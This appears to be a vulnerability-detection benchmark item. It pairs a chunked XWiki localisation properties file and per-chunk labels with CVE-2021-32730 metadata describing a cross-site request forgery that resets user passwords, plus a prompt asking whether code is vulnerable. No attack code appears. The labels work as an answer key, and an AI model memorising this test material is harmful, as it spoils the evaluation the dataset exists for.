it.\nxe.blog.code.madevisible=Entry has been made visible.\nxe.blog.code.hid=Hidden entry\nxe.blog.code.makevisible=This blog post is not visible to other users. Make it visible.\nxe.blog.code.hide=Hide this blog post from other users.\nxe.blog.code.loading=Loading...\nxe.blog.code.failedToChangeBlogPostVisibility=Failed to change blog post visibility.\nxe.blog.code.editpost=Edit this blog post\nxe.blog.code.deletepost=Delete this blog post\nxe.blog.code.readpost=Read the full entry\nxe.blog.code.postedby=Posted by\nxe.blog.code.createdby=Created by\nxe.blog.code.modifiedby=Modified by\nxe.blog.code.comments=Comments\nxe.blog.code.permalink=Permalink\nxe.blog.code.categories=Categories:\nxe.blog.code.in=in\nxe.blog.code.previousweek=Previous week\nxe.blog.code.nextweek=Next week\nxe.blog.code.previousmonth=Previous month\nxe.blog.code.nextmonth=Next month\nxe.blog.code.olderposts=Older posts\nxe.blog.code.newerposts=Newer posts\nxe.blog.code.blogcategories=Blog categories\nxe.blog.code.description.category=Most recent blog posts in the {0} category\nxe.blog.code.description.space=Most recent blog posts in the {0} space\nxe.blog.code.description.wiki=Most recent blog posts in the wiki\nxe.blog.code.title=Blog\nxe.blog.code.warning=Warning:\nxe.blog.sheet.notpost=This is not a blog post!\nxe.blog.sheet.category=Category:\nxe.blog.sheet.summary=Summary (optional):\nxe.blog.sheet.content=Content:\nxe.blog.sheet.title=Title:\nxe.blog.sheet.publicationdate=This article was published on {0}\nxe.blog.sheet.hidearticle=Hide article {0}\nxe.blog.sheet.notpublished=This article is not published yet.\nxe.blog.sheet.publish=Publish\nxe.blog.sheet.setdate=Set the publication date to:\nxe.blog.category.created=The {0} category has been created.\nxe.blog.category.exists=The {0} category already exists.\nxe.blog.categories.paneltitle=Blog Categories\nxe.blog.categories.name=Name:\nxe.blog.categories.parentcategory=Parent category:\nxe.blog.categories.description=Description:\nxe.blog.categories.add=Add\nxe.blog.categories.new=New category:\nxe.blog.categories.newName=New category name:\nxe.blog.categories.parent=Parent:\nxe.blog.categories.none=None\nxe.blog.categories.remove=Remove deleted category\nxe.blog.categories.edit=Edit Categories\nxe.blog.categories.subcategories=Subcategories\nxe.blog.categories.addsubcategory=Add new subcategory\nxe.blog.categories.articles=Articles from this category\nxe.blog.categories.sheet=Category sheet\nxe.blog.categories.sheetmessage=This sheet should be used to display blog categories.\nxe.blog.categories.notcategory=This is not a blog category!\nxe.blog.categories.noentries=No entries in this category\nxe.blog.manageCategories.title=Manage blog categories\nxe.blog.manageCategories.create.error.emptyName=Please enter a valid category name\nxe.blog.manageCategories.create.error.alreadyExists=Target page already exists, please choose a different name\nxe.blog.manageCategories.create.error.notExists=The requested page could not be found.\nxe.blog.manageCategories.create.error.targetNotWritable=You don't have the right to create the target page.\nxe.blog.manageCategories.rename.error.emptyName=Please enter a valid category name\nxe.blog.manageCategories.js.fetchingForm=Fetching form...\nxe.blog.manageCategories.js.error.noServer=Server not responding\nxe.blog.manageCategories.js.rename.inProgress=Renaming category...\nxe.blog.manageCategories.js.rename.error.403=You are not allowed to create the target page\nxe.blog.manageCategories.js.rename.error.404=Invalid category, please refresh the page to update the category tree\nxe.blog.manageCategories.js.rename.error.409=Target page already exists, please choose a different name\nxe.blog.manageCategories.js.add.inProgress=Adding category...\nxe.blog.manageCategories.js.add.error.401=You have been logged out, please refresh and log in\nxe.blog.manageCategories.js.add.error.403=You are not allowed to create the target page\nxe.blog.manageCategories.js.add.error.409=Target page already exists, please choose a different name\nxe.blog.manageCategories.js.delete.confirm=Are you sure you want to delete this category? This action is not reversible.\nxe.blog.manageCategories.js.delete.inProgress=Deleting category...\nxe.blog.manageCategories.js.delete.done=Deleted\nxe.blog.manageCategories.js.delete.failed=Failed to delete category\nxe.blog.manageCategories.comment.updatedParent=Updated category parent\nxe.blog.manageCategories.comment.removedDeletedCategory=Removed deleted category\nxe.blog.manageCategories.comment.updatedRenamedCategory=Updated renamed category\nxe.blog.manageCategories.comment.updatedCategory=Updated category name\nxe.blog.post.createpost=Create a new post\nxe.blog.post.title=Post title\nxe.blog.post.titleEmptyError=The post title should not be empty!\nxe.blog.post.create=Create\nxe.blog.categories.existingcategories=Existing categories\nxe.blog.categories.addcategory=Add a category\nxe.blog.categories.deleteselected=Delete selected categories\nxe.blog.manage.existing=Existing blogs\nxe.blog.manage.createnew=Create a new blog\nxe.blog.manage.nospace=No space provided. Please enter a valid space where the blog should be created.\nxe.blog.manage.space=Space:\nxe.blog.manage.title=Title:\nxe.blog.manage.blogtitle=Blog title\nxe.blog.manage.blogtype=Blog type:\nxe.blog.manage.inside=blog inside an existing space\nxe.blog.manage.main=blog as the main content of a space\nxe.blog.manage.create=Create\nxe.blog.migration.migrated=Migrated old blog article to the new blog application\nxe.blog.migration.updated=Updated\nxe.blog.migration.inspace=in space\nxe.blog.migration.skipping=Skipping protected page\nxe.blog.migration.done=Done.\nxe.blog.migration.backtoblog=Back to the blog\nxe.blog.migration.pleaseconfirm=Please confirm if you want to migrate old articles to the new blog application:\nxe.blog.migration.confirm=Confirm\nxe.blog.publisher.published=Published article\nxe.blog.recentposts.paneltitle=Recent Blog Posts\nxe.blog.unpublished.entries=Unpublished articles\nxe.blog.unpublished.viewall=View all", "#######################################\n## until 9.4-rc-1\n#######################################\ncore.menu.actions=Actions\ncore.menu.moreactions=More actions", "#######################################\n## until 9.5-rc-1\n#######################################\ncore.delete.confirm.yes=Yes, please delete this page\ncore.delete.confirm.no=No, take me back!", "#######################################\n## until 9.7-rc-1\n#######################################", "# Attachment Index\nplatform.index.attachments.doc.name=Page\nplatform.index.attachments.doc.space=Space\n#@deprecated platform.index.attachments.mimeType\nplatform.index.attachments.type=Type", "####################\n# Wiki Macro Bridge Module\n####################", "xe.wikimacrobridge.wikiMacros=Existing wiki macro definitions\nxe.wikimacrobridge.macroName=Name\nxe.wikimacrobridge.macroId=id\nxe.wikimacrobridge.macroDescription=Description\nxe.wikimacrobridge.macroVisibility=Visibility\nxe.wikimacrobridge.macroPage=Macro page\nxe.wikimacrobridge.noWikiMacro=There are no wiki macro defined in this wiki yet.", "#######################################\n## until 10.6-rc-1\n#######################################\ncore.shortcuts.edit.saveandcontinue=Alt+Shift+S\nxe.scheduler.job.name=Job name:\nxe.scheduler.job.description=Job description:\nxe.scheduler.job.expression=Job cron expression:\nxe.scheduler.job.script=Job script:", "#######################################\n## until 10.6\n#######################################\ncore.viewers.comments.permalink.hide=Hide", "#######################################\n## until 10.8-rc-1\n#######################################\nadmin.defaultwikinotinstalled=Your wiki seems empty. You may want to import the default XWiki Enterprise wiki which contains a set of useful pages: user profiles, recent activity, administration pages and many more. This wiki is distributed as a XAR file, you can download it from {0}.", "### Image captcha\ncore.captcha.image.label=Verification image\ncore.captcha.image.instruction=Please type in the word shown above\ncore.captcha.image.alternateText=There is supposed to be an image captcha here, you could refresh the page or press the {0} button to try getting another image.", "#######################################\n## until 10.8\n#######################################", "### Groups Administration Section\n#@deprecated xe.admin.groups.name\nxe.admin.groups.groupname=Group Name", "### Users Administration Section\nxe.admin.users.manage=Manage\nxe.admin.users.username=Username\nxe.admin.users.filter.username=Username filter\n#@deprecated xe.admin.users.first_name\nxe.admin.users.firstname=First name\nxe.admin.users.filter.firstname=First name filter\n#@deprecated xe.admin.users.last_name\nxe.admin.users.lastname=Last name\nxe.admin.users.filter.lastname=Last name filter", "#######################################\n## until 11.1-rc-1\n#######################################\nplatform.search.suggestSourceDocumentName=Page names", "#######################################\n## until 11.1\n#######################################\ncore.editors.class.switchClass.submit=Edit\ncore.editors.class.switchClass.warning=Unsaved changes will be lost when switching to another class.", "#######################################\n## until 11.4-rc-1\n#######################################\ncore.editors.save.conflictversion.rollbackmessage=The document has been modified since you last saved it. Please copy your changes and reload the page to get the latest version and reapply your changes.\ncore.editors.save.conflictversion.previousVersion=Your version of the document:\ncore.editors.save.conflictversion.latestVersion=Latest version of the document:\ncore.editors.save.conflictversion.diffLink=Click here to check out the changes made on the latest version since you started editing it.", "#######################################\n## until 11.6-rc-1\n#######################################\nauth_active_check=Check Active fields for user authentication\nXWiki.XWikiPreferences_auth_active_check=Authentication Active Check", "#######################################\n## until 11.8-rc-1\n#######################################\nxe.userdirectory.customizeColumnsTitle=Customize the columns to display\nxe.userdirectory.customizeAvailableColumnsLabel=Available columns\nxe.userdirectory.customizeAvailableColumnsHint=Columns that can be displayed in the user directory for each user.\nxe.userdirectory.customizeAddColumnButtonLabel=Add\nxe.userdirectory.customizeSelectedColumnsLabel=Selected columns\nxe.userdirectory.customizeSelectedColumnsHint=Space or newline separated list of columns, corresponding to properties of the [[XWiki.XWikiUsers]] class, to be displayed in the user directory. Duplicate columns are ignored.", "#######################################\n## until 11.9-rc-1\n#######################################\nplatform.core.profile.passwd.instructions=Your new password must be at least 6 characters long.", "#######################################\n## until 12.3-rc-1\n#######################################\ncore.viewers.information.parent=Parent\ncore.viewers.information.noParent=No parent\ncore.viewers.information.children=Children\ncore.viewers.information.noChildren=No children\ncore.viewers.information.creation=Created\ncore.viewers.information.creationData=by {0} on {1}\ncore.viewers.information.translationCreation=Translated into {0}\ncore.viewers.information.translationCreationData=by {0} on {1}", "#######################################\n## until 12.4-rc-1\n#######################################\ncore.editors.object.delete.confirm=Are you sure you want to delete this object? Canceling the modifications will not restore deleted objects.", "#######################################\n## until 12.10, 12.6.5, 11.10.12\n#######################################\ncore.viewers.jump.dialog.invalidNameError=Invalid page name. Valid names have the following format: Space.Page\ncore.viewers.jump.suggest.noResults=No pages found", "## Used to indicate where deprecated keys end\n#@deprecatedend", "###############################################################################\n## Old but critical deprecated\n## translation keys that kept\n## for backward compatibility\n## (with custom skins generally)\n###############################################################################", "## Used to indicate where keys that does not need to be translated starts\n## l10n wiki used that to not import them for example\nnotranslationsmarker=notranslationsmarker", "hrtext=\nsigntext=\ncore.edit.wikiToolbar.signtext=\ncore.edit.wikiToolbar.hrtext=" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [1631, 382], "buggy_code_start_loc": [1631, 174], "filenames": ["xwiki-platform-core/xwiki-platform-oldcore/src/main/resources/ApplicationResources.properties", "xwiki-platform-core/xwiki-platform-web/src/main/webapp/templates/register_macros.vm"], "fixing_code_end_loc": [1633, 388], "fixing_code_start_loc": [1632, 175], "message": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. A cross-site request forgery vulnerability exists in versions prior to 12.10.5, and in versions 13.0 through 13.1. It's possible for forge an URL that, when accessed by an admin, will reset the password of any user in XWiki. The problem has been patched in XWiki 12.10.5 and 13.2RC1. As a workaround, it is possible to apply the patch manually by modifying the `register_macros.vm` template.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*", "matchCriteriaId": "1D3FA811-A9C4-45F7-A876-BB5D69DA7BCE", "versionEndExcluding": "12.10.5", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:xwiki:xwiki:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "E8ED2C6F-77E6-4B53-A52D-0CD7FA08AFD1", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:xwiki:xwiki:13.1:-:*:*:*:*:*:*", "matchCriteriaId": "333C6A66-CDCD-46DC-A095-74D35B076A78", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}, {"criteria": "cpe:2.3:a:xwiki:xwiki:13.1:rc1:*:*:*:*:*:*", "matchCriteriaId": "948446E0-E5D0-4711-A763-1A050967EB0D", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. A cross-site request forgery vulnerability exists in versions prior to 12.10.5, and in versions 13.0 through 13.1. It's possible for forge an URL that, when accessed by an admin, will reset the password of any user in XWiki. The problem has been patched in XWiki 12.10.5 and 13.2RC1. As a workaround, it is possible to apply the patch manually by modifying the `register_macros.vm` template."}, {"lang": "es", "value": "Una plataforma XWiki es una plataforma wiki gen\u00e9rica que ofrece servicios en tiempo de ejecuci\u00f3n para las aplicaciones construidas sobre ella. Se presenta una vulnerabilidad de tipo cross-site request forgery en versiones anteriores a 12.10.5, y en versiones 13.0 hasta 13.1. Es posible falsificar una URL que, al ser accedida por un administrador, restablecer\u00e1 la contrase\u00f1a de cualquier usuario en XWiki. El problema ha sido parcheado en XWiki versiones 12.10.5 y 13.2RC1. Como soluci\u00f3n, es posible aplicar el parche manualmente modificando la plantilla \"register_macros.vm\""}], "evaluatorComment": null, "id": "CVE-2021-32730", "lastModified": "2021-07-09T13:58:12.373", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.7, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.1, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.7, "baseSeverity": "MEDIUM", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N", "version": "3.1"}, "exploitabilityScore": 2.1, "impactScore": 3.6, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-07-01T18:15:07.733", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/xwiki/xwiki-platform/commit/0a36dbcc5421d450366580217a47cc44d32f7257"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-v9j2-q4q5-cxh4"}, {"source": "security-advisories@github.com", "tags": ["Exploit", "Issue Tracking", "Vendor Advisory"], "url": "https://jira.xwiki.org/browse/XWIKI-18315"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-352"}], "source": "nvd@nist.gov", "type": "Primary"}, {"description": [{"lang": "en", "value": "CWE-352"}], "source": "security-advisories@github.com", "type": "Secondary"}]}, "github_commit_url": "https://github.com/xwiki/xwiki-platform/commit/0a36dbcc5421d450366580217a47cc44d32f7257"}, "type": "CWE-352"}
128
Determine whether the {function_name} code is vulnerable or not.
[ "# ---------------------------------------------------------------------------\n# See the NOTICE file distributed with this work for additional\n# information regarding copyright ownership.\n#\n# This is free software; you can redistribute it and/or modify it\n# under the terms of the GNU Lesser General Public License as\n# published by the Free Software Foundation; either version 2.1 of\n# the License, or (at your option) any later version.\n#\n# This software is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n# Lesser General Public License for more details.\n#\n# You should have received a copy of the GNU Lesser General Public\n# License along with this software; if not, write to the Free\n# Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA\n# 02110-1301 USA, or see the FSF site: http://www.fsf.org.\n# ---------------------------------------------------------------------------", "###############################################################################\n# XWiki Core localization\n#\n# This contains the translations of the module in the default language\n# (generally English).\n# \n# Translation key syntax:\n# <short top level project name>.<short module name>.<propertyName>\n# where:\n# * <short top level project name> = top level project name without the \"xwiki-\" prefix,\n# for example: commons, rendering, platform, enterprise, manager, etc\n# * <short module name> = the name of the Maven module without the <short top level project name> prefix,\n# for example: oldcore, scheduler, activitystream, etc\n# * <propertyName> = the name of the property using camel case,\n# for example updateJobClassCommitComment\n#\n# Comments: it's possible to add some detail about a key to make easier to\n# translate it by adding a comment before it. To make sure a comment is not\n# assigned to the following key use at least three sharps (###) for the comment\n# or after it.\n# \n# Deprecated keys:\n# * when deleting a key it should be moved to deprecated section at the end\n# of the file (between #@deprecatedstart and #@deprecatedend) and associated to the\n# first version in which it started to be deprecated\n# * when renaming a key, it should be moved to the same deprecated section\n# and a comment should be added with the following syntax:\n# #@deprecated new.key.name\n# old.key.name=Some translation\n###############################################################################", "### Languages\nlanguage=Language\nlanguages=Languages\nchinese=Chinese\nenglish=English\nfrench=French\ngerman=German\nitalian=Italian\npolish=Polish\nrussian=Russian\nspanish=Spanish", "### User Page\nfirstname=First Name\nlastname=Last Name\ncountry=Country", "### View/Editing\nwikiweb=Space\nwikiname=Page\nparent=Parent\nwikicontent=Content\ndefaultlanguage=Default Language\ndefaulttemplate=Default Template\ncreator=Creator\nview=View\nraw=Code\nxml=XML\ndiff=History\nedit=Edit\neditcontent=Edit Content\nedithtmlcontent=Edit WYSIWYG\neditinline=Form\neditrights=Page Access Rights\neditobject=Objects\neditclass=Class\nwebrights=Space Access Rights\nxwikirights=Global Access Rights\nwebprefs=Space Preferences\nxwikiprefs=Global Preferences\nattach=Attach\nattachments=Attachments\nwebdaveditattachment=Edit\nsave=Save\ndelete=Delete\npreview=Preview\ncopy=Copy\nlogin=Log-in\nlogout=Log-out\nhomepage=User Profile\nstyles=Styles\ndefaultstyle=Default Style\naltstyle1=Alternate Style 1\naltstyle2=Alternate Style 2\naltstyle3=Alternate Style 3\npagemenu=Page Menu\nwebmenu=Space Menu\nxwikimenu=Space Menu\nusermenu=User Menu\nwebusermenu=Space Menu\nspace=Space Home\nclasseditor=Class Editor\nobjecteditor=Object Editor\ncancel=Cancel\nreleaselock=Release Lock\nversions=Versions\nversion=Version\nsize=Size\nauthor=Author\nlastauthor=Last Author\nfilename=Filename\nrights=Rights\nactions=Actions\ndefault=default\nconfirmobjectremove=Are you sure you want to remove this object?\nconfirmdelete=This action is irreversible. Are you sure you want to delete this page?\nconfirmdelete2=Are you sure you want to delete this attachment?\nbacklinkswarningdelete=There are pages that link here!\nconfirmdelattachment=Are you sure you want to delete this attachment?\ndeleted=The page has been deleted.\neditincludepagemsg=This page contains (an) included page(s). To edit this page, click on the following links:\nyouareediting=You are editing the following translation\nselectclass=Select a Class\nchangeclass=Change Class\nclassname=Class Name\npropname=Name\nselectproptype=Select a type\naddproperty=Add Property\nsaveclass=Save Class\nwelcometoclasseditor=Welcome to the class editor. Choose a field to edit or add a field to the class.\neditfield=Edit Field\naddobject=Add Object\naddobjectfromclass=Add Object from this Class\nwelcometoobjecteditor=Welcome to the objects editor. Choose an object to edit or add an object to the page.\nsaveobjects=Save Objects\nyoucan=You can\nremovethisobject=remove this object\nrightseditor=Access Rights Editor\naddrightentry=Add Access Right Entry\nwelcometorightseditor=Welcome to the Access Rights editor. Choose a right entry to edit or add a new right entry:\nremovethisrightentry=remove this right entry\nsaverights=Save Access Rights\naccountdisabled=Your account has been disabled. Please contact the administrator if you think this is a mistake.\naccountnotactive=Your account is not yet active, because your email has not yet been confirmed.\naccountnotactive_email=You should have received an email with a link to confirm your email address. You can also copy-paste the activation code in the same email in the following field.\nconfirmaccount=Confirm Account\nproblemoccured=A problem occurred while trying to process your request. Please contact the webmaster if this happens again.\ndetailedinformation=Detailed information\nnotallowed=You are not allowed to view this page or perform this action.\ndoyouwanttoreplace=Do you want to replace the filename with\nchoosetargetfilename=Choose the target file name\nchoosefiletoupload=Choose file to upload\nattachthisfile=Attach this file\nusername=Username\npassword=Password\nxwikidoc=Documentation\ndocumentation=Documentation\nxwikisyntax=XWiki Syntax\nhelpmenu=Help\nhelponsyntax=Help on the\ncomments=Comments\nnocomments=No comments for this page\naddcomment=Add Comment\nnewcomment=New Comment\nhighlight=Highlighted Text\nnocommentswithoutright=You need to have the 'comment' right to post a comment\nstatsmenu=Statistics Menu\npageviews=Page Views\nwebpageviews=Space Page Views\nxwikipageviews=XWiki Page Views\nxwikivisits=XWiki Visits\npagetopreferers=Top Referers\n#newinterface\npdf=PDF\nrtf=RTF\neditpage=Edit this Page\naddattachment=Add an attachment\nhistory=History\nmore=More Actions\nhello=Hello\nyesno_0=No\nyesno_1=Yes\ntruefalse_0=False\ntruefalse_1=True\nactive_0=Inactive\nactive_1=Active\nallow_0=Deny\nallow_1=Allow\nfrom=From\nto=To\neditedby=edited by\non=on\ncompare=Compare selected Versions\nallchanges=View all Changes\ndocumenthistory=Page History\ncannotreaddocumentversion=Cannot read page version\nparams=Parameters\nskin=Skin\npresentation=Presentation\nregistration=Registration\nmultilingual=Multilingual\ndefault_language=Default Language\ndateformat=Date format\nauthenticate_view=Prevent unregistered users from viewing pages, regardless of the page rights\nauthenticate_viewedit_savecomment=Change rights for unregistered users.\nauthenticate_edit=Prevent unregistered users from editing pages, regardless of the page rights\nbaseskin=Base Skin\nstylesheet=Default Stylesheet\nstylesheets=Other Stylesheets\ntitle=Browser Title Bar Text\ntitlefield=Title\nwebcopyright=Copyright notice\nmenu=Top Menu\nmeta=HTTP Meta Information\neditor=Default Editor to use\neditbox_width=Editor Box Width (characters)\neditbox_height=Editor Box Height (lines)\nuse_email_verification=Use email verification\nadmin_email=Admin email\nsmtp_server=Server\nsmtp_port=Port\nsmtp_server_username=SMTP Server Username (optional)\nsmtp_server_password=SMTP Server Password (optional)\njavamail_extra_props=Additional JavaMail properties\nvalidation_email_content=Validation e-Mail Content\nconfirmation_email_content=Confirmation e-Mail Content\npreferences=Preferences\nsaveprefs=Save Preferences\nsections=Sections\ncurrentobjects=Current Objects\ncurrentrights=Current Access Rights\ncurrentproperties=Current Properties\neditanotherclass=Edit another Class\nadmin=Administration\nhelp=Help\nsearch=Search\nrecentmenu=Recently Viewed\nwelcome=Welcome\ndate=Date\ndoclockedby=This page is currently locked by\nforcelock=Force editing\ninitialversion=Initial Version\nrollback=Rollback\nreadytorollback=Do you want to rollback to version\nreadonly=This server is currently in read-only mode\nrevisiondoesnotexist=This page does not exist in this version.\nnocommentwithnewdoc=You cannot comment on a page or article that does not exist.\nactiondoesnotexist=This action does not exist!\nthiswikidoesnotexist=This Wiki does not exist on this server.\nthispagedoesnotexist=The requested page could not be found.\nnosuchobject=The specified object does not exist\nthispagealreadyexists=This page already exists.\nattachmentdoesnotexist=The attachment does not exist.\nwikicontentcannotbeempty=The content of a wiki page is not allowed to be completely empty.\nfileuploadislarge=XWiki has a default limit of around 10Mb for attached files. This limit can be changed using the upload_maxsize parameter. Check the FAQ for more information.\njavaheapspace=Java Heap Space Out Of Memory Exception!\nnotsupportcharacters=File name does not support characters '\\\\' '/' ';'\nthistemplatedoesnotexist=This template does not exist\nmacros_languages=Macro Languages\nmacros_velocity=Velocity Macro Pages\nmacros_groovy=Groovy Macro Pages\nmacros_mapping=Macro Mapping\nnotification_pages=Notification Pages\ndocumentBundles=Internationalization Document Bundles\nadvanced=Advanced\nerrornotdefine=Error not defined in XWikiException!\naction.addClassProperty.error.invalidName=Property names must follow these naming rules: <br/>Names can contain letters, numbers, and the following characters: \"., -, _, :\" <br/>Names must not start with a number or punctuation character. <br/>Names must not start with the letters xml (or XML, or Xml, etc). <br/>Names cannot contain spaces.\naction.addClassProperty.error.alreadyExists=Property {0} already exists", "backtoedit=Back To Edit\nbrowsernoncompatible=Browser is not compatible!\nwysiwygeditor=WYSIWYG Editor\nwikieditor=WIKI Editor\nmacro=Macro\nchoosemacro=Choose a macro:", "resetversions=Reset Versions\nconfirmresetversions=This action is irreversible. Are you sure you want to reset versions for this page?\nconfirmresetversions2=Please confirm if you want to reset versions for this page?\nresetversionsdone=The versions have been reset for this page.\nyes=Yes\nno=No", "disabled=Disabled\nenabled=Enabled", "createdon=on\nlastmodifiedby=last modified by\nlastmodifiedon=on\nat=at\neditwiki=Wiki\neditvisual=WYSIWYG\neditform=Form\nchooseeditor=Choose editor:\nshow=Show\nshowcode=Wiki code\nshowxml=XML\nwatch=Watch\nnoattachments=No attachments for this page\ndownloadthisattachment=Download this attachment\nviewattachmenthistory=View attachment history\nregister=Register\ndoc=Documentation\nattributes=Attributes\nshowattributes=Show page attributes\nrememberme=This is a private computer, please remember me\ndontrememberme=This is a public/shared computer, do not remember me\nyouareeditingtranslation=You are editing the following translation\nyouareeditingoriginal=You are editing the original page\noriginallanguage=The original language of the page is\ntranslatedocin=Translate this page in\nothertranslations=Other translations\nexistingtranslations=Existing translations\nproptype=Type\nremovethiscomment=delete\nconfirmcommentremove=Are you sure you want to remove this comment?\nusefullinks=Useful links", "bold=Bold\nboldtext=Text in Bold\nitalics=Italics\nitalicstext=Text in Italics\nunderline=Underline\nunderlinetext=Text in Underline\nsecondleveltitle=Second Level Title\ntitletext=Title Text\nilink=Internal Link\nilinktext=Link Example\nelink=External Link (do not forget http://)\nelinktext=name of link>http://www.example.com\nhr=Horizontal ruler\nimg=Attached Image\nimgtext=example.jpg\nsign=Signature", "###\n### Model\n###", "TextArea_editor=Editor\nTextArea_editor_hint=Indicates which editor should be used to manipulate the content of the property. This setting overwrites the preferred editor configured in the user profile.\nTextArea_editor_PureText=Plain Text\nTextArea_editor_Text=Wiki\nTextArea_editor_Wysiwyg=WYSIWYG", "TextArea_contenttype=Content Type\nTextArea_contenttype_hint=Indicates what kind of content this field contains (wiki, plain text, etc.).\nTextArea_contenttype_PureText=Plain Text\nTextArea_contenttype_FullyRenderedText=Wiki Syntax\nTextArea_contenttype_VelocityCode=Velocity Code", "String_size_hint=The size of the corresponding form element in edit mode.", "StaticList_values_hint=Separated by '|'; Example: value1=Text displayed for value 1|value2=Text displayed for value 2|value3|value4", "###", "core.edit.wikiToolbar.bold=Bold\ncore.edit.wikiToolbar.boldtext=Text in 